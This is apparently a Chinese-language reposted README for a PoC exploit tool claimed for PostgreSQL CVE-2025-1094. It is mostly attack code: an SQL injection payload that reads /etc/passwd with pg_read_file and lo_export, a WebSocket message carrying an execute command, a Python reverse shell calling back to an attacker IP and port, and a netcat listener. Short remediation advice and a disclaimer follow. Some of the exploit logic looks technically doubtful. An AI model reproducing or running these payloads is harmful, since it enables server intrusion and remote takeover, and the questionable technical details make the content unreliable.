CVE-2025-1094 PostgreSQL SQL注入与WebSocket劫持远程代码执行利用工具

CVE-2025-1094:SQL注入到远程代码执行(RCE)利用工具 🚀

本项目提供了一个针对 CVE-2025-1094 漏洞的完整概念验证(PoC)利用工具。该漏洞存在于PostgreSQL数据库中,攻击者可以通过SQL注入(SQLi)漏洞,结合WebSocket劫持技术,实现远程代码执行(RCE),最终获取目标服务器的完全控制权。

功能特性

  • SQL注入利用 :通过构造恶意SQL语句,利用lo_export函数读取服务器敏感文件(如/etc/passwd)并保存到可写目录
  • WebSocket劫持:主动连接目标WebSocket服务,发送恶意命令执行载荷
  • 反向Shell获取:通过Python反弹Shell脚本,建立与攻击者服务器的远程连接
  • 多线程并发:WebSocket攻击与监听器同时运行,提高利用效率
  • 完整攻击链:从初始注入到最终获得Shell,一站式完成整个利用流程

安装指南

系统要求

  • Python 3.6+
  • 目标系统:存在CVE-2025-1094漏洞的PostgreSQL服务
  • 攻击机:具有公网IP或可被目标访问的IP地址

依赖安装

bash 复制代码
# 克隆仓库
git clone https://github.com/soltanali0/CVE-2025-1094.git
cd CVE-2025-1094

# 安装Python依赖
pip install websocket-client requests

配置说明

在运行脚本之前,需要修改以下配置变量:

python 复制代码
TARGET_URL = "http://vulnerable-site.com/vuln-endpoint"  # 目标漏洞端点
WEBSOCKET_URL = "ws://vulnerable-site.com/socket"        # WebSocket服务地址
REVERSE_IP = "YOUR_IP"                                   # 攻击者监听IP
REVERSE_PORT = 4444                                      # 攻击者监听端口

使用说明

基础用法

  1. 启动监听器(在攻击机上):
bash 复制代码
nc -lvnp 4444
  1. 运行利用脚本
bash 复制代码
python exploit.py
  1. 获取Shell:成功利用后,监听器将收到目标服务器的反向Shell连接。

完整攻击流程

该工具按照以下顺序执行攻击:

  1. SQL注入阶段 :向目标URL发送包含恶意SQL语句的POST请求,利用lo_export函数将/etc/passwd文件导出到/tmp/payload
  2. WebSocket连接阶段:建立与目标WebSocket服务的连接,发送初始化指令
  3. RCE载荷投递:通过WebSocket发送Python反弹Shell代码,在目标服务器上执行
  4. Shell接收:攻击者监听端口接收到目标服务器的反向Shell

核心代码

1. SQL注入载荷构建
python 复制代码
# 利用lo_export函数读取敏感文件并导出到可写目录
sql_payload = """SELECT lo_export(
  (SELECT convert_from(pg_read_file('/etc/passwd'), 'UTF8')), 
  '/tmp/payload'
);"""

# 发送SQL注入请求
requests.post(TARGET_URL, data={"input": sql_payload}, headers={"Content-Type": "application/x-www-form-urlencoded"})
2. WebSocket消息处理
python 复制代码
def on_message(ws, message):
    """处理WebSocket接收到的消息"""
    print("[+] Received message from WebSocket:", message)
    
    # 构建Python反弹Shell载荷
    exploit_payload = f"""import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("{REVERSE_IP}",{REVERSE_PORT})); 
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);"""
    
    # 通过WebSocket发送执行命令
    ws.send(f"EXECUTE_COMMAND:{exploit_payload}")
3. WebSocket连接与劫持
python 复制代码
def on_open(ws):
    """WebSocket连接建立后的回调"""
    print("[+] WebSocket connection established.")
    ws.send("INITIATE_EXPLOIT")

def start_websocket_exploit():
    """启动WebSocket攻击"""
    ws = websocket.WebSocketApp(WEBSOCKET_URL, 
                                on_message=on_message, 
                                on_open=on_open)
    ws.run_forever()
4. 反向Shell监听器
python 复制代码
def start_listener():
    """启动netcat监听器接收反向Shell"""
    print(f"[+] Listening on {REVERSE_PORT}...")
    os.system(f"nc -lvnp {REVERSE_PORT}")

# 在独立线程中启动WebSocket攻击
threading.Thread(target=start_websocket_exploit).start()
time.sleep(2)

# 启动监听器
start_listener()

漏洞修复建议

为了防范此类攻击,建议采取以下措施:

  • 使用预编译语句:使用参数化查询替代动态SQL拼接,从根本上防止SQL注入
  • 输入验证与过滤:对所有用户输入进行严格验证和清理
  • 限制危险函数 :限制lo_exportpg_read_file等敏感函数的执行权限
  • WebSocket安全加固:对WebSocket连接实施身份验证和加密(WSS)
  • 及时更新补丁:保持PostgreSQL到最新版本,关注安全公告

免责声明

本项目仅供教育和安全研究使用。使用此工具前,请确保您已获得目标系统的明确授权。未经授权的系统入侵行为违反法律法规,使用者需自行承担一切法律责任。 6HFtX5dABrKlqXeO5PUv/y+hadQXQKkjzncEnFNwGdXIEzhSSFS2E4KQ5NDeUmxe

相关推荐
IT_陈寒2 小时前
SpringBoot自动配置这个坑,我踩进去又爬出来了
前端·人工智能·后端
冬奇Lab14 小时前
Agent 系列(23):Web Agent——让 Agent 真正浏览网页
人工智能·llm·agent
冬奇Lab14 小时前
每日一个开源项目(第135篇):codebase-memory-mcp - 给 AI Agent 一张代码库的知识图谱
人工智能·开源·llm
IT_陈寒16 小时前
JavaScript的闭包把我坑惨了,说好的内存会自动回收呢?
前端·人工智能·后端
jooloo20 小时前
Codex 间歇性 400 之谜:一条对话里,它为什么有时候用 chat/completions,有时候切到 responses?
人工智能
用户51914958484520 小时前
OpenSSL PKCS#12 PBMAC1 堆栈缓冲区溢出漏洞 (CVE-2025-11187) 分析与验证
人工智能·aigc
用户51914958484521 小时前
HP Sound Research SECOMNService 权限提升漏洞利用工具
人工智能·aigc